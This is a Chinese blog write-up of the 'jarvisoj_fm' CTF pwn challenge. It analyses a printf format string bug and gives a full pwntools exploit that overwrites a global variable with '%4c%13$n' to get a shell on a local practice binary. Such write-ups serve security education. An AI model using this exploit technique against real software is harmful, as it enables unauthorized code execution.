

# jarvisoj\_fm

原创

m0sway 于 2022-04-05 15:46:51 发布 3178 收藏

分类专栏: [BUU-WP](#) 文章标签: [pwn](#) [CTF](#) [python](#) [WriteUp](#) [网络安全](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: <https://blog.csdn.net/m0sway/article/details/123970669>

版权



[BUU-WP](#) 专栏收录该内容

57 篇文章 0 订阅

订阅专栏

jarvisoj\_fm

使用 [checksec](#) 查看:



开启了栈不可执行和Canary。

先放进IDA中分析:

```
int __cdecl main(int argc, const char **argv, const char **envp)
{
    char buf; // [esp+2Ch] [ebp-5Ch]
    unsigned int v5; // [esp+7Ch] [ebp-Ch]

    v5 = __readgsdword(0x14u);
    be_nice_to_people();
    memset(&buf, 0, 0x50u);
    read(0, &buf, 0x50u);
    printf(&buf);
    printf("%d!\n", x);
    if ( x == 4 )
    {
        puts("running sh...");
        system("/bin/sh");
    }
    return 0;
}
```

CSDN @m0sway

- `printf(&buf);`: 存在格式化字符串的漏洞。
- `if ( x == 4 ) { puts("running sh..."); system("/bin/sh"); }`: 只需 `x` 处的值为4即可拿到shell。

#### 题目思路

- 存在格式化字符串漏洞。
- 利用格式化字符串漏洞将 `x` 处数据写成 `0x4` 即可getshell。

#### 步骤解析

先用 `AAAA%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p` 测试出格式化字符串是第几个参数。  
可以看到是第11个参数。



接着构造payload，需要将x置为 `0x4`，所以用 `%4c` 输出四个字符，此时 `%11$n` 需要改为 `%13$n` 因为 `%4c%13$n` 占了2字节，所以11需要改为13，后面再接上需要覆盖的地址。  
最后payload为: `b'%4c%13$n' + p32(x_addr)`

### 完整exp

```
from pwn import *

#start
r = process("../buu/jarvisoj_fm")

#params
x_addr = 0x804A02C

#attack
payload = b'%4c%13$n' + p32(x_addr)
print(payload)
r.sendline(payload)

r.interactive()
```